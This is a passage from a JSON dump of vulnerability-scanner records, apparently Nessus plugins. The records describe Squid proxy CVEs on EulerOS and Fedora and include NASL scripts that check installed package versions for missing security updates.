possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1133\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?c4dfde5f\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected squid packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/02/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/02/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(5)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"squid-4.8-3.h1.eulerosv2r7\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"5\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T15:33:43", "description": "According to the versions of the squid package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost.(CVE-2019-12523)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer.\n This leads to attacker controlled data overflowing in the heap.(CVE-2019-12526)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme.(CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.(CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing whitespace between a header name and a colon.(CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.(CVE-2019-18679)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-01-02T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP8 : squid (EulerOS-SA-2020-1034)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:squid", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2020-1034.NASL", "href": "https://www.tenable.com/plugins/nessus/132627", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(132627);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-12523\",\n \"CVE-2019-12526\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18678\",\n \"CVE-2019-18679\"\n );\n\n script_name(english:\"EulerOS 2.0 SP8 : squid (EulerOS-SA-2020-1034)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the squid package installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerabilities :\n\n - An issue was discovered in Squid before 4.9. When\n handling a URN request, a corresponding HTTP request is\n made. This HTTP request doesn't go through the access\n checks that incoming HTTP requests go through. This\n causes all access checks to be bypassed and allows\n access to restricted HTTP servers, e.g., an attacker\n can connect to HTTP servers that only listen on\n localhost.(CVE-2019-12523)\n\n - An issue was discovered in Squid before 4.9. URN\n response handling in Squid suffers from a heap-based\n buffer overflow. When receiving data from a remote\n server in response to an URN request, Squid fails to\n ensure that the response can fit within the buffer.\n This leads to attacker controlled data overflowing in\n the heap.(CVE-2019-12526)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8. Due to incorrect input validation, there is a\n heap-based buffer overflow that can result in Denial of\n Service to all clients using the proxy. Severity is\n high due to this vulnerability occurring before normal\n security checks any remote client that can reach the\n proxy port can trivially perform the attack via a\n crafted URI scheme.(CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8 when the append_domain setting is used (because the\n appended characters do not properly interact with\n hostname length restrictions). Due to incorrect message\n processing, it can inappropriately redirect traffic to\n origins it should not be delivered to.(CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8. It allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that\n splits the HTTP Request pipeline differently. The\n resulting Response messages corrupt caches (between a\n client and Squid) with attacker-controlled content at\n arbitrary URLs. Effects are isolated to software\n between the attacker client and Squid. There are no\n effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing\n whitespace between a header name and a\n colon.(CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x\n through 4.8. Due to incorrect data management, it is\n vulnerable to information disclosure when processing\n HTTP Digest Authentication. Nonce tokens contain the\n raw byte value of a pointer that sits within heap\n memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory\n areas to target for remote code execution\n attacks.(CVE-2019-18679)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1034\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?3f64f59d\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected squid packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/01/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/01/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(8)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"squid-4.2-2.h2.eulerosv2r8\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"8\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T16:58:11", "description": "New version update - squid 4.9\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-12-05T00:00:00", "type": "nessus", "title": "Fedora 30 : 7:squid (2019-0b16cbdd0e)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-17T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:7:squid", "cpe:/o:fedoraproject:fedora:30"], "id": "FEDORA_2019-0B16CBDD0E.NASL", "href": "https://www.tenable.com/plugins/nessus/131707", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2019-0b16cbdd0e.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131707);\n script_version(\"1.6\");\n script_cvs_date(\"Date: 2019/12/17\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_xref(name:\"FEDORA\", value:\"2019-0b16cbdd0e\");\n\n script_name(english:\"Fedora 30 : 7:squid (2019-0b16cbdd0e)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"New version update - squid 4.9\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2019-0b16cbdd0e\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected 7:squid package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12526\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:7:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:30\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/05\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^30([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 30\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC30\", reference:\"squid-4.9-2.fc30\", epoch:\"7\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"7:squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-29T16:13:41", "description": "New version update - squid 4.9\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-12-05T00:00:00", "type": "nessus", "title": "Fedora 31 : 7:squid (2019-9538783033)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-17T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:7:squid", "cpe:/o:fedoraproject:fedora:31"], "id": "FEDORA_2019-9538783033.NASL", "href": "https://www.tenable.com/plugins/nessus/131714", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2019-9538783033.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131714);\n script_version(\"1.6\");\n script_cvs_date(\"Date: 2019/12/17\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_xref(name:\"FEDORA\", value:\"2019-9538783033\");\n\n script_name(english:\"Fedora 31 : 7:squid (2019-9538783033)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"New version update - squid 4.9\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2019-9538783033\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected 7:squid package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12526\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:7:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:31\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/05\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^31([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 31\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC31\", reference:\"squid-4.9-2.fc31\", epoch:\"7\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"7:squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-14T14:25:00", "description": "According to its self-reported version number, the version of Squid installed on the remote host is prior to 4.9. It is, therefore, affected by multiple vulnerabilities:\n\n - A heap overflow and possible a remote code execution exist due to incorrect buffer management when processing URN. (CVE-2019-12526)\n\n - A security bypass exists due to improper input validation. An attacker can gain access to restricted HTTP servers. (CVE-2019-12523)\n\n - A buffer overflow exists due to incorrect input validation which can result in denial of service to all clients using the proxy. (CVE-2019-18676)\n\n - A traffic redirect exists due to incorrect message processing with append_domain settings. (CVE-2019-18677)\n\n - A HTTP request splitting exists due to incorrect message parsing. (CVE-2019-18678)\n\n - An information disclosure exists due to incorrect data management when processing HTTP Digest Authentication. (CVE-2019-18679) Note that the scanner has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-10T00:00:00", "type": "nessus", "title": "Squid < 4.9 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2021-10-07T00:00:00", "cpe": ["cpe:2.3:a:squid-cache:squid:*:*:*:*:*:*:*:*"], "id": "WEB_APPLICATION_SCANNING_112694", "href": "https://www.tenable.com/plugins/was/112694", "sourceData": "No source data", "cvss": {"score": 7.5, "vector": "CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T16:09:18", "description": "According to the versions of the squid packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.(CVE-2019-18679)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.(CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme.(CVE-2019-18676)\n\n - An issue was discovered in Squid before 4.12 and 5.x before 5.0.3. Due to use of a potentially dangerous function, Squid and the default certificate validation helper are vulnerable to a Denial of Service when opening a TLS connection to an attacker-controlled server for HTTPS. This occurs because unrecognized error values are mapped to NULL, but later code expects that each error value is mapped to a valid error string.(CVE-2020-14058)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer.\n This leads to attacker controlled data overflowing in the heap.(CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost.(CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.13 and 5.x through 5.0.4. Due to improper input validation, it allows a trusted client to perform HTTP Request Smuggling and access services otherwise forbidden by the security controls. This occurs for certain uri_whitespace configuration settings.(CVE-2020-25097)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-04-30T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP3 : squid (EulerOS-SA-2021-1852)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18679", "CVE-2020-14058", "CVE-2020-25097"], "modified": "2021-05-04T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:squid", "p-cpe:/a:huawei:euleros:squid-migration-script", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2021-1852.NASL", "href": "https://www.tenable.com/plugins/nessus/149133", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(149133);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/05/04\");\n\n script_cve_id(\n \"CVE-2019-12523\",\n \"CVE-2019-12526\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18679\",\n \"CVE-2020-14058\",\n \"CVE-2020-25097\"\n );\n\n script_name(english:\"EulerOS 2.0 SP3 : squid (EulerOS-SA-2021-1852)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the squid packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x\n through 4.8. Due to incorrect data management, it is\n vulnerable to information disclosure when processing\n HTTP Digest Authentication. Nonce tokens contain the\n raw byte value of a pointer that sits within heap\n memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory\n areas to target for remote code execution\n attacks.(CVE-2019-18679)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8 when the append_domain setting is used (because the\n appended characters do not properly interact with\n hostname length restrictions). Due to incorrect message\n processing, it can inappropriately redirect traffic to\n origins it should not be delivered to.(CVE-2019-18677)\n\n - An 